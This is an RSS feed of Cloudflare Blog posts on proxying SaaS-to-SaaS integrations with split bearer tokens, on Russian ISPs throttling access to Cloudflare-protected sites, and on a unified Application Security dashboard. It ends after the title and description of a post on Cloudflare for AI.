
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Wed, 08 Apr 2026 03:18:33 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Securing data in SaaS to SaaS applications]]></title>
            <link>https://blog.cloudflare.com/saas-to-saas-security/</link>
            <pubDate>Wed, 24 Sep 2025 13:00:00 GMT</pubDate>
            <description><![CDATA[ The recent Salesloft breach taught us one thing: companies do not have visibility over data in SaaS applications. Cloudflare is committing to providing additional security tools for SaaS applications ]]></description>
            <content:encoded><![CDATA[ <p>The recent <a href="https://blog.cloudflare.com/response-to-salesloft-drift-incident/"><u>Salesloft breach</u></a> taught us one thing: connections between <a href="https://www.cloudflare.com/learning/cloud/what-is-saas/"><u>SaaS applications</u></a> are hard to monitor and create blind spots for security teams with disastrous side effects. This will likely not be the last breach of this type. </p><p>To fix this, Cloudflare is working towards a set of solutions that consolidates all SaaS connections via a single proxy, for easier monitoring, detection and response. A SaaS to SaaS proxy for everyone.</p><p>As we build this, we need feedback from the community, both data owners and SaaS platform providers. If you are interested in gaining early access, <a href="http://www.cloudflare.com/lp/saas-to-saas-security"><u>please sign up here</u></a>.</p><p>SaaS platform providers, who often offer marketplaces for additional applications, store data on behalf of their customers and ultimately become the trusted guardians. As integrations with marketplace applications take place, that guardianship is put to the test. A key breach in any one of these integrations can lead to widespread data exfiltration and tampering. As more apps are added the attack surface grows larger. Security teams who work for the data owner have no ability, today, to detect and react to any potential breach.</p><p>In this post we explain the underlying technology required to make this work and help keep your data on the Internet safe.</p>
    <div>
      <h2>SaaS to SaaS integrations</h2>
      <a href="#saas-to-saas-integrations">
        
      </a>
    </div>
    <p>No one disputes the value provided by SaaS applications and their integrations. Major SaaS companies implement flourishing integration ecosystems, often presented as marketplaces. For many, it has become part of their value pitch. Salesforce provides an <a href="https://appexchange.salesforce.com/"><u>AppExchange</u></a>. Zendesk provides a <a href="https://www.zendesk.co.uk/marketplace/apps/"><u>marketplace</u></a>. ServiceNow provides an <a href="https://www.servicenow.com/uk/products/integration-hub.html"><u>Integration Hub</u></a>. And so forth.</p><p>These provide significant value to any organisation and complex workflows. Data analysis or other tasks that are not supported natively by the SaaS vendor are easily carried out via a few clicks.</p><p>On the other hand, SaaS applications present security teams with a growing list of unknowns. Who can access this data? What security processes are put in place? And more importantly: how do we detect data leak, compromise, or other malicious intent?</p><p>Following the <a href="https://blog.cloudflare.com/response-to-salesloft-drift-incident/"><u>Salesloft breach</u></a>, which compromised the data of hundreds of companies, including Cloudflare, the answers to these questions are top of mind.</p>
    <div>
      <h2>The power of the proxy: seamless observability</h2>
      <a href="#the-power-of-the-proxy-seamless-observability">
        
      </a>
    </div>
    <p>There are two approaches Cloudflare is actively prototyping to address the growing security challenges SaaS applications pose, namely visibility into SaaS to SaaS connections, including anomaly detection and key management in the event of a breach. Let’s go over each of these, both relying on proxying SaaS to SaaS traffic.</p>
    <div>
      <h3>1) Giving control back to the data owner</h3>
      <a href="#1-giving-control-back-to-the-data-owner">
        
      </a>
    </div>
    <p>Cloudflare runs one of the world’s largest reverse proxy networks. As we terminate L7 traffic, we are able to perform security-related functions including blocking malicious requests, detecting anomalies, detecting automated traffic and so forth. This is one of the main use cases customers approach us for.</p><p>Cloudflare can proxy any hostname under the customer’s control.</p><p>It is this specific ability, often referred to as “vanity”, “branded” or “custom” hostnames, that allows us to act as a front door to the SaaS vendor on behalf of a customer. Provided a marketplace app integrates via a custom domain, the data owner can choose to use Cloudflare’s new SaaS integration protection capabilities. </p><p>For a customer (Acme Corp in this example) to access, say SaaS Application, the URL needs to become saas.acme.com as that is under Acme’s control (and not acme.saas.com).</p><p>This setup allows Cloudflare to be placed in front of SaaS Corp as the customer controls the DNS hostname. By proxying traffic, Cloudflare can be the only integration entity with programmatic access to SaaS Corp's APIs and data and transparently "swap" authorisation tokens with valid ones and issue separate tokens, using key splitting, to any integrations.  </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1diK7GrWICfbRyHu2fpvFt/26eec0f692686d7d4f769abd7e2db661/image__4_.png" />
          </figure><p>Note that in many cases, authorization and authentication flows fall outside any vanity/branded hostname. It is in fact very common for an <a href="https://www.cloudflare.com/learning/access-management/what-is-oauth/"><u>OAuth</u></a> flow to still hit the SaaS provider url oauth.saas.com. It is therefore required, in this setup, for marketplace applications to provide the ability to support vanity/branded URLs for their OAuth and similar flows, oauth.saas.acme.com in the diagram above.</p><p>Ultimately Cloudflare provides a full L7 <a href="https://www.cloudflare.com/learning/cdn/glossary/reverse-proxy/"><u>reverse proxy</u></a> for all traffic inbound/outbound to the given SaaS provider solving for the core requirements that would lessen the impact of a similar breach to the Salesloft example. Had Salesloft integrated via a Cloudflare-proxied domain, then data owners would be able to:</p><ul><li><p><b>Gain visibility into who or what can access data</b>, and where it’s accessed from, in the SaaS platform. Cloudflare already provides analytics and filtering tools to identify traffic sources, including hosting locations, IPs, user agents and other tools.</p></li><li><p><b>Instantly shut off access to the SaaS provider</b> without the need to rotate credentials on the SaaS platform, as Cloudflare would be able to block access from the proxy.</p></li><li><p><b>Detects anomalies </b>in data access by observing baselines and traffic patterns. For example a change in data exfiltration traffic flows would trigger an alert.</p></li></ul>
    <div>
      <h3>2) Improve SaaS platform security</h3>
      <a href="#2-improve-saas-platform-security">
        
      </a>
    </div>
    <p>The approach listed above assumes the end user is the company whose data is at risk. However, SaaS platforms themselves are now paying a lot of attention to marketplace applications and access patterns. From a deployment perspective, it’s actually easier to provide additional visibility to a SaaS provider as it is a standard reverse proxy deployment and we have tools designed for SaaS applications, such as <a href="https://developers.cloudflare.com/cloudflare-for-platforms/cloudflare-for-saas/"><u>Cloudflare for SaaS</u></a>.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3ElxtRBMqeI0GBD45BR4UC/13eee60d852991a3dfe5b2beb172584c/BLOG-2997_3.png" />
          </figure><p>This deployment model allows Cloudflare to proxy all traffic to the SaaS vendor, including to all API endpoints therefore gaining visibility into any SaaS to SaaS connections. As part of this, we are building improvements to our <a href="https://www.cloudflare.com/en-gb/application-services/products/api-shield/"><u>API Shield solution</u></a> to provide SaaS security teams with additional controls:</p><ul><li><p><b>Token / session logging:</b> Ability to keep track of OAuth tokens and provide session logs for audit purposes.</p></li><li><p><b>Session anomaly detection:</b> Ability to warn when a given OAuth (or other session) shows anomalous behavior.</p></li><li><p><b>Token / session replacement:</b> Ability to substitute SaaS-generated tokens with Cloudflare-generated tokens to allow for fast rotation and access lock down.</p></li></ul><p>The SaaS vendor may of course expose some of the affordances to their end customer as part of their dashboard.</p>
    <div>
      <h2>How key splitting enables secure token management</h2>
      <a href="#how-key-splitting-enables-secure-token-management">
        
      </a>
    </div>
    <p>Both deployment approaches described above rely on our ability to control access without storing complete credentials. While we already store SSL/TLS private keys for millions of web applications, storing complete SaaS bearer tokens would create an additional security burden. To solve this, and enable the token swapping and instant revocation capabilities mentioned above, we use key splitting.</p><p>Key splitting cryptographically divides bearer tokens into two mathematically interdependent fragments called Part A and Part B. Part A goes to the fourth-party integration (like Drift or Zapier) while Part B stays in Cloudflare's edge storage. Part A is just random noise that won't authenticate to Salesforce or any SaaS platform expecting complete tokens, so neither fragment is usable alone.</p><p>This creates an un-bypassable control point. Integrations cannot make API calls without going through Cloudflare's proxy because they only possess Part A. When an integration needs to access data, it must present Part A to our edge where we retrieve Part B, reconstruct the token in memory for microseconds, forward the authenticated request, and then immediately clear the token. This makes sure that the complete bearer token never exists in any database or log.</p><p>This forced cooperation means every API call flows through Cloudflare where we can monitor for anomalies, delete Part B to instantly revoke access (transforming incident response from hours to seconds), and maintain complete audit trails. Even more importantly, this approach minimizes our burden of storing sensitive credentials since a breach of our systems wouldn't yield usable tokens.</p><p>If attackers compromise the integration and steal Part A, or somehow breach Cloudflare's storage and obtain Part B, neither fragment can authenticate on its own. This fundamentally changes the security model from protecting complete tokens to managing split fragments that are individually worthless. It also gives security teams unprecedented visibility and control over how their data is accessed across third-party integrations.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/MmwLfTnQweqJiIFe4fTac/a9596a5a023ec147af4dc671ba3b5b8a/BLOG-2997_4.png" />
          </figure>
    <div>
      <h2>Regaining control of your data</h2>
      <a href="#regaining-control-of-your-data">
        
      </a>
    </div>
    <p>We are excited to develop solutions mentioned above to give better control and visibility around data stored in SaaS environments, or more generally, outside a customer’s network.</p><p>If you are a company worried about this risk, and would like to be notified to take part in our early access, please sign up <a href="http://www.cloudflare.com/lp/saas-to-saas-security"><u>here</u></a>.</p><p>If you are a SaaS vendor who would like to provide feedback and take part in developing better API security tooling for third party integrations towards your platform, <a href="http://www.cloudflare.com/lp/saas-to-saas-security"><u>sign up here</u></a>.</p><p>We are looking forward to helping you get better control of your data in SaaS to SaaS environments.</p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Application Services]]></category>
            <category><![CDATA[Application Security]]></category>
            <category><![CDATA[SAAS Security]]></category>
            <category><![CDATA[SaaS]]></category>
            <guid isPermaLink="false">44zY8Y1rBmaNIVZVbUGJAL</guid>
            <dc:creator>Michael Tremante</dc:creator>
            <dc:creator>Bill Sobel</dc:creator>
            <dc:creator>Ed Conolly</dc:creator>
        </item>
        <item>
            <title><![CDATA[Russian Internet users are unable to access the open Internet]]></title>
            <link>https://blog.cloudflare.com/russian-internet-users-are-unable-to-access-the-open-internet/</link>
            <pubDate>Thu, 26 Jun 2025 22:33:30 GMT</pubDate>
            <description><![CDATA[ Since June 9, 2025, Internet users located in Russia and connecting to the open Internet have been throttled by Russian Internet Service Providers (ISPs). ]]></description>
            <content:encoded><![CDATA[ <p>Since June 9, 2025, Internet users located in Russia and connecting to web services protected by Cloudflare have been throttled by Russian Internet Service Providers (ISPs).</p><p>As the throttling is being applied by local ISPs, the action is outside of Cloudflare’s control and we are unable, at this time, to restore reliable, high performance access to Cloudflare products and protected websites for Russian users in a lawful manner. </p><p>Internal data analysis suggests that the throttling allows Internet users to load only the first 16 KB of any web asset, rendering most web navigation impossible.</p><p>Cloudflare has not received any formal outreach or communication from Russian government entities about the motivation for such an action. Unfortunately, the actions are consistent with <a href="https://blog.cloudflare.com/what-cloudflare-is-doing-to-keep-the-open-internet-flowing-into-russia-and-keep-attacks-from-getting-out/"><u>longstanding</u></a> Russian efforts to isolate the Internet within its borders and reduce reliance on Western technology by replacing it with domestic alternatives. Indeed, Russian President Vladimir Putin recently publicly <a href="https://www.barrons.com/news/putin-threatens-to-throttle-western-firms-remaining-in-russia-8bb06070"><u>threatened</u></a> to throttle US tech companies operating inside Russia. </p><p><a href="https://en.zona.media/article/2025/06/19/cloudflare"><u>External reports</u></a> corroborate our analysis, and further suggest that a number of other service providers are also affected by throttling or other disruptive actions in Russia, including at least Hetzner, DigitalOcean, and OVH.</p>
    <div>
      <h2>The impact</h2>
      <a href="#the-impact">
        
      </a>
    </div>
    <p>Cloudflare is seeing disruptions across connections initiated from inside Russia, even when the connection reaches our servers outside of Russia. Consistent with <a href="https://dl.acm.org/doi/10.1145/3517745.3561461"><u>public reporting</u></a> on Russia's practices, this suggests that the disruption is happening inside Russian ISPs, close to users.</p><p>Russian Internet Services Providers (ISPs) confirmed to be implementing these disruptive actions include, but are not limited to, Rostelecom, Megafon, Vimpelcom, MTS, and MGTS.</p><p>Based on our observations, Russian ISPs are using several throttling and blocking mechanisms affecting sites protected by Cloudflare, including injected packets to halt the connection and blocking packets so the connection times out. A new tactic that began on June 9 limits the amount of content served to 16 KB, which renders many websites barely usable.</p><p>The throttling affects all connection methods and protocols, including HTTP/1.1 and HTTP/2 on TCP and TLS, as well as HTTP/3 on QUIC.</p>
    <div>
      <h2>The view from Cloudflare data</h2>
      <a href="#the-view-from-cloudflare-data">
        
      </a>
    </div>
    
    <div>
      <h3>Traffic trends</h3>
      <a href="#traffic-trends">
        
      </a>
    </div>
    <p>Cloudflare Radar exists to share insights and bring transparency to Internet trends. The high rate of connectivity errors to all our data centers has resulted in an overall decrease in traffic served to Russian users. The reduction in traffic can be observed on <a href="https://radar.cloudflare.com/ru?dateStart=2025-06-01&amp;dateEnd=2025-06-26"><u>Cloudflare Radar</u></a>:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/64iapMiGlMvgHJXPyPH9Xo/bec47ff9147019ffa01e365f9bc11309/BLOG-2859_2.png" />
          </figure>
    <div>
      <h3>Client-side reports via Network Error Logging</h3>
      <a href="#client-side-reports-via-network-error-logging">
        
      </a>
    </div>
    <p>Some customers elect to enable <a href="https://www.w3.org/TR/network-error-logging/"><u>W3C</u></a>-defined <a href="https://developers.cloudflare.com/network-error-logging/"><u>Network Error Logging</u></a> (NEL), a feature that embeds error-reporting instructions inside the headers of web content that users request. The instructions tell web browsers what errors to report, and how to do so. Below is a view of NEL reports that show an increase of TCP connections being ‘reset’ prematurely (as explained in our <a href="https://blog.cloudflare.com/connection-tampering/"><u>tampering</u></a> and Radar <a href="https://blog.cloudflare.com/tcp-resets-timeouts/"><u>resets</u></a> blogs). Separately, the large growth in h3.protocol.error shows that QUIC connections have been greatly affected:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7hduiNgSSfVk6FaJ4JLyGN/9f4f014796d000e919b5794c37eda18c/BLOG-2859_3.png" />
          </figure>
    <div>
      <h3>Corroboration of throttling using internal data</h3>
      <a href="#corroboration-of-throttling-using-internal-data">
        
      </a>
    </div>
    <p>The effects of the throttling can also be observed in our internal tooling. The chart below shows packet loss to our Russian data centers, each data center represented by a different line. The Y-axis is the proportion of packet loss:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7DIMgYxjPniMlPS2q2PIbP/c9762738b31278bfd9809457546303c6/BLOG-2859_4.png" />
          </figure><p>High packet loss is a strong signal but does not on its own indicate throttling, since there might be other explanations. For example, an explanation may be our servers trying to resend packets multiple times in during some other mass failure that hinders, but does not completely halt, communication.</p><p>However, we have two additional pieces of information to work with. The first consists of public reports that “throttling” in this case means blocking all connections after <a href="https://en.zona.media/article/2025/06/19/cloudflare"><u>16 KB of data</u></a> has been transmitted, which takes 10 to 14 packets (depending on the underlying technology). Second, we have our recently deployed “<a href="https://blog.cloudflare.com/tcp-resets-timeouts/"><u>Resets and Timeouts</u></a>” data that captures anomalous behaviour in TCP when it occurs within the first 10 packets. Since 10 packets can contain 16 KB of data, some connections that are blocked around 16 KB will be visible at the “Post PSH” stage in the Radar data. In TCP, the ‘PSH’ message means Cloudflare got the initial request and data transfer has begun. If the connection is blocked at this stage, then many of the sent packets will be lost. </p><p>The graph below uses Radar’s <a href="https://radar.cloudflare.com/embed/DataExplorerVisualizer?path=tcp_resets_timeouts%2Ftimeseries_groups&amp;dateRange=28d&amp;mainLocation=ru&amp;locale=en-US&amp;widgetState=%7B%22showAnnotations%22%3Atrue%2C%22xy.hiddenSeries%22%3A%5B%22Post+SYN%22%2C%22Later%22%2C%22Post+ACK%22%2C%22No+match%22%5D%2C%22xy.highlightedSeries%22%3Anull%2C%22xy.hoveredSeries%22%3Anull%2C%22xy.previousVisible%22%3Atrue%7D&amp;ref=%2Fexplorer%3FdataSet%3Dtcp_resets_timeouts%26loc%3Dru%26dt%3D28d"><u>Data Explorer</u></a> to focus on just the Post-PSH stage, where there is a dip followed by an immediate and proportionally large increase before June 11. This pattern corresponds closely with the loss data seen above:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3RNvY4vrO6LQZ8qFeW5ENK/1f0f79701a46e2c2d43eb1b5aa812351/BLOG-2859_5.png" />
          </figure>
    <div>
      <h2>If you run Internet sites for Russian users</h2>
      <a href="#if-you-run-internet-sites-for-russian-users">
        
      </a>
    </div>
    <p>If you are using Cloudflare to protect your sites, unfortunately, at this time, Cloudflare does not have the ability to restore Internet connectivity for Russia-based users. We advise you to reach out and solicit Russian entities to lift the throttling measures that have been put in place.</p><p>If you are a Cloudflare enterprise customer, please reach out to your account team for further assistance.</p><p>Access to a free and open Internet is critical for individual rights and economic development. We condemn any attempt to prevent Russian citizens from accessing it.</p> ]]></content:encoded>
            <category><![CDATA[Internet Shutdown]]></category>
            <category><![CDATA[Russia]]></category>
            <category><![CDATA[Policy & Legal]]></category>
            <guid isPermaLink="false">vyxFL3zp5DqpF5RpHznRv</guid>
            <dc:creator>Michael Tremante</dc:creator>
            <dc:creator>Alissa Starzak</dc:creator>
        </item>
        <item>
            <title><![CDATA[Making Application Security simple with a new unified dashboard experience]]></title>
            <link>https://blog.cloudflare.com/new-application-security-experience/</link>
            <pubDate>Thu, 20 Mar 2025 13:00:00 GMT</pubDate>
            <description><![CDATA[ We’re introducing a new Application Security experience in the Cloudflare dashboard, with a reworked UI organized by use cases, making it easier for customers to navigate and secure their accounts. ]]></description>
            <content:encoded><![CDATA[ <p>Over the years, we have framed our Application Security features against market-defined product groupings such as Web Application Firewall (WAF), DDoS Mitigation, Bot Management, API Security (API Shield), Client Side Security (Page Shield), and so forth. This has led to unnecessary artificial separation of what is, under the hood, a well-integrated single platform.</p><p>This separation, which has sometimes guided implementation decisions that have led to different systems being built for the same purpose, makes it harder for our users to adopt our features and implement a simple effective security posture for their environment.</p><p>Today, following user feedback and our drive to constantly innovate and simplify, we are going back to our roots by breaking these artificial product boundaries and revising our dashboard, so it highlights our strengths. The ultimate goal remains: to make it shockingly easy to secure your web assets.</p><p><b>Introducing a new unified Application Security experience.</b></p><p>If you are a Cloudflare Application Security user, log in <a href="http://dash.cloudflare.com/:account/:zone/security"><u>to the dashboard</u></a> today and try out the updated dashboard interface. To make the transition easier, you can toggle between old and new interfaces.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/iyOx4HWAdpFyp0W6nECvi/5f67090ee17c9db87ce2c130f80d493a/image5.png" />
          </figure>
    <div>
      <h2>Security, simplified</h2>
      <a href="#security-simplified">
        
      </a>
    </div>
    <p>Modern applications are built using a variety of technologies. Your app might include a web interface and a mobile version, both powered by an API, each with its own unique security requirements. As these technologies increasingly overlap, traditional security categories like Web, API, client-side, and bot protection start to feel artificial and disconnected when applied to real-world application security.</p><p>Consider scenarios where you want to secure your API endpoints with proper authentication, or prevent vulnerability scanners from probing for weaknesses. These tasks often require switching between multiple dashboards, creating different policies, and managing disjointed configurations. This fragmented approach not only complicates workflows but also increases the risk of overlooking a critical vulnerability. The result? A security posture that is harder to manage and potentially less effective.</p><p>When you zoom out, a pattern emerges. Whether it’s managing bots, securing APIs, or filtering web traffic, these solutions ultimately analyze incoming traffic looking for specific patterns, and the resulting signal is used to perform actions. The primary difference between these tools is the type of signal they generate, such as identifying bots, enforcing authorization, or flagging suspicious requests. </p><p>At Cloudflare, we saw an opportunity to address this complexity by unifying our application security tools into a single platform with one cohesive UI. A unified approach means security practitioners no longer have to navigate multiple interfaces or piece together different security controls. With a single UI, you can configure policies more efficiently, detect threats faster, and maintain consistent protection across all aspects of your application. This simplicity doesn’t just save time, it ensures that your applications remain secure, even as threats evolve.</p><p>At the end of the day, attackers won’t care which product you’re using. But by unifying application security, we ensure they’ll have a much harder time finding a way in.</p>
    <div>
      <h2>Many products, one common approach</h2>
      <a href="#many-products-one-common-approach">
        
      </a>
    </div>
    <p>To redefine the experience across Application Security products, we can start by defining three concepts that commonly apply:</p><ul><li><p>Web traffic (HTTP/S), which can be generalised even further as “data”</p></li><li><p>Signals and detections, which provide intelligence about the traffic. Can be generalised as “metadata”</p></li><li><p>Security rules that let you combine any signal or detection (metadata), to block, challenge or otherwise perform an action on the web traffic (data)</p></li></ul><p>We can diagram the above as follows:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/46XB4bR8DSCZWe7PDQNDLp/4043ff4d123c4b8c5eafe0948c2fdefe/image1.png" />
          </figure><p>Using these concepts, all the product groupings that we offer can be converted to different types of signals or detections. All else remains the same. And if we are able to run and generate our signals on all traffic separately from the rule system, therefore generating all the metadata, we get what we call <a href="https://developers.cloudflare.com/waf/detections/"><b><u>always-on detections</u></b></a>, another vital benefit of a single platform approach. Also note that <a href="https://blog.cloudflare.com/traffic-sequence-which-product-runs-first/"><u>the order</u></a> in which we generate the signals becomes irrelevant.</p><p>In diagram form:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5TgbZHUYCkztCPfpbk8rYQ/d2ec02dddb61b8b708019aade73b9623/image12.png" />
          </figure><p>The benefits are twofold. First, problem spaces (such as account takeover or web attacks) become signal groupings, and therefore metadata that can be queried to answer questions about your environment.</p><p>For example, let’s take our Bot Management signal, the <a href="https://developers.cloudflare.com/bots/concepts/bot-score/"><u>bot score</u></a>, and our <a href="https://developers.cloudflare.com/waf/detections/attack-score/"><u>WAF Attack Score</u></a> signal, the attack score. These already run as always-on detections at Cloudflare. By combining these two signals and filtering your traffic against them, you can gain powerful insights on who is accessing your application<b>*</b>:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7xcSJtpZdY8L5svEob6dRW/f779872d453551b8d5ca11845a246fc5/image11.png" />
          </figure><p>Second, as everything is just a signal, the mitigation layer, driven by the optional rules, becomes detection agnostic. By providing the same signals as fields in a unified rule system, writing high level policies becomes a breeze. And as we said earlier, given the detection is <b>always-on </b>and fully separated from the mitigation rule system, exploring the data can be thought of as a powerful rule match preview engine. No need to deploy a rule in LOG mode to see what it matches!</p><p>We can now design a unified user experience that reflects Application Security as a single product.</p><p><sup><b><i>* note:</i></b></sup><sup><i> the example here is simplistic, and the use cases become a lot more powerful once you expand to the full set of potential signals that the platform can generate. Take, for example, our ability to detect file uploads. If you run a job application site, you may want to let crawlers access your site, but you may *</i></sup><sup><b><i>not</i></b></sup><sup><i>* want crawlers to submit applications on behalf of applicants. By combining the bot score signal with the file upload signal, you can ensure that rule is enforced.</i></sup></p>
    <div>
      <h2>Introducing a unified Application Security experience</h2>
      <a href="#introducing-a-unified-application-security-experience">
        
      </a>
    </div>
    <p>As signals are always-on, the user journey can now start from our <a href="https://blog.cloudflare.com/cloudflare-security-posture-management/#:~:text=protect%20what%20matters.-,Posture%20overview,-from%20attacks%20to"><u>new overview page</u></a> where we highlight security suggestions based on your traffic profile and configurations. Alternatively, you can jump straight into analytics where you can investigate your traffic using a combination of all available signals.</p><p>When a specific traffic pattern seems malicious, you can jump into the rule system to implement a security policy. As part of our new design, given the simplicity of the navigation, we also took advantage of the opportunity to introduce a <a href="https://blog.cloudflare.com/cloudflare-security-posture-management/#:~:text=Discovery%20of%20web%20assets"><u>new web assets page</u></a>, where we highlight discovery and attack surface management details.</p><p>Of course, reaching the final design required multiple iterations and feedback sessions. To best understand the balance of maintaining flexibility in the UI whilst reducing complexity, we focused on customer tasks to be done and documenting their processes while trying to achieve their intended actions in the dashboard. Reducing navigation items and using clear naming was one element, but we quickly learned that the changes needed to support ease of use for tasks across the platform.</p><p>Here is the end result:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2IFfm5Q1D6sfGzqhasl2Pb/e2f078c281a4067f5bb624b0ca37509e/image8.png" />
          </figure><p>To recap, our new dashboard now includes:</p><ul><li><p>One overview page where misconfigurations, risks, and suggestions are aggregated</p></li><li><p>Simplified and redesigned security analytics that surfaces security signals from all Application Security capabilities, so you can easily identify and act on any suspicious activity</p></li><li><p>A new web assets page, where you can manage your attack surfaces, helping improve detection relevance</p></li><li><p>A single Security Rules page that provides a unified interface to manage, prioritise, and customise all mitigation rules in your zone, significantly streamlining your security configuration</p></li><li><p>A new settings page where advanced control is based on security needs, not individual products</p></li></ul><p>Let’s dive into each one.</p>
    <div>
      <h3>Overview</h3>
      <a href="#overview">
        
      </a>
    </div>
    <p>With the unified security approach, the new overview page aggregates and prioritizes security suggestions across all your web assets, helping you <a href="https://blog.cloudflare.com/cloudflare-security-posture-management/"><u>maintain a healthy security posture</u></a>. The suggestions span from detected (ongoing) attacks if there are any, to risks and misconfigurations to further solidify your protection. This becomes the daily starting point to manage your security posture.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/19dZ0olpyIjEjywnd5zRrh/32bd0b872ab3c00f411e5287a8e2b6ae/image6.png" />
          </figure>
    <div>
      <h3>Analytics</h3>
      <a href="#analytics">
        
      </a>
    </div>
    <p>Security Analytics and Events have been redesigned to make it easier to analyze your traffic. Suspicious activity detected by Cloudflare is surfaced at the top of the page, allowing you to easily filter and review related traffic. From the Traffic Analytics Sampled Log view, further below in the page, new workflows enable you to take quick action to craft a custom rule or review related security events in context.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/16cUGVu3gqAD8sm9OaAs6x/2ef0474f3d193d95f062ed33abae2d80/image3.png" />
          </figure>
    <div>
      <h3>Web assets</h3>
      <a href="#web-assets">
        
      </a>
    </div>
    <p>Web assets is a new concept introduced to bridge your business goals with threat detection capabilities. A web asset is any endpoint, file, document, or other related entity that we normally would act on from a security perspective. Within our new web asset page, you will be able to explore all relevant discovered assets by our system.</p><p>With our unified security platform, we are able to rapidly build new <a href="https://blog.cloudflare.com/cloudflare-security-posture-management/#securing-your-web-applications:~:text=Use%2Dcase%20driven%20threat%20detection"><u>use-case driven threat detections</u></a>. For example, to block automated actions across your e-commerce website, you can instruct Cloudflare’s system to block any fraudulent signup attempts, while allowing verified crawlers to index your product pages. This is made possible by labelling your web assets, which, where possible, is automated by Cloudflare, and then using those labels to power threat detections to protect your assets.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/nKFhkuUboScRORcWHgYJR/17d23bb52e532910da6b1cc868bf702e/image9.png" />
          </figure>
    <div>
      <h3>Security rules</h3>
      <a href="#security-rules">
        
      </a>
    </div>
    <p>The unified Security rules interface brings all mitigation rule types — including WAF custom rules, rate limiting rules, API sequence rules, and client side rules — together in one centralized location, eliminating the need to navigate multiple dashboards.</p><p>The new page gives you visibility into how Cloudflare mitigates both incoming traffic and blocks potentially malicious client side resources from loading, making it easier to understand your security posture at a glance. The page allows you to create customised mitigation rules by combining any detection signals, such as Bot Score, Attack Score, or signals from Leaked Credential Checks, enabling precise control over how Cloudflare responds to potential threats.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/63A8aBq9400mKEyHAJGAuk/447447977592218fbaa418b3735754c7/image10.png" />
          </figure>
    <div>
      <h3>Settings</h3>
      <a href="#settings">
        
      </a>
    </div>
    <p>Balancing guidance and flexibility was the key driver for designing the new Settings page. As much as Cloudflare <i>guides</i> you towards the optimal security posture through recommendations and alerts, customers that want the <i>flexibility</i> to proactively adjust these settings can find all of them here.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/pz3N1v2EOCj3V9sKF009F/a106b34e0039bebf6eecdfc5c1244f41/image7.png" />
          </figure>
    <div>
      <h2>Experience it today</h2>
      <a href="#experience-it-today">
        
      </a>
    </div>
    <p>This is the first of many enhancements we plan to make to the Application Security experience in the coming months. To check out the new navigation, log in to the <a href="https://dash.cloudflare.com/"><u>Cloudflare dashboard</u></a>, click on “Security” and choose “Check it out” when you see the message below. You will still have the option of opting out, if you so prefer.</p><div>
  
</div>
<p></p><p>Let us know what you think either by sharing feedback in our <a href="https://community.cloudflare.com/"><u>community forum</u></a> or by providing feedback directly in the dashboard (you will be prompted if you revert to the old design).</p>
    <div>
      <h2>Watch on Cloudflare TV</h2>
      <a href="#watch-on-cloudflare-tv">
        
      </a>
    </div>
    <div>
  
</div><p></p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[Application Security]]></category>
            <category><![CDATA[Dashboard]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Bot Management]]></category>
            <guid isPermaLink="false">ktsrG1vJGggZ2JlL4cHxS</guid>
            <dc:creator>Michael Tremante</dc:creator>
            <dc:creator>Pete Thomas</dc:creator>
            <dc:creator>Jessica Tarasoff</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare for AI: supporting AI adoption at scale with a security-first approach]]></title>
            <link>https://blog.cloudflare.com/cloudflare-for-ai-supporting-ai-adoption-at-scale-with-a-security-first-approach/</link>
            <pubDate>Wed, 19 Mar 2025 13:10:00 GMT</pubDate>
            <description><![CDATA[ With Cloudflare for AI, developers, security teams and content creators can leverage Cloudflare’s network and portfolio of tools to secure, observe and make AI applications resilient and safe to use. ]]></description>
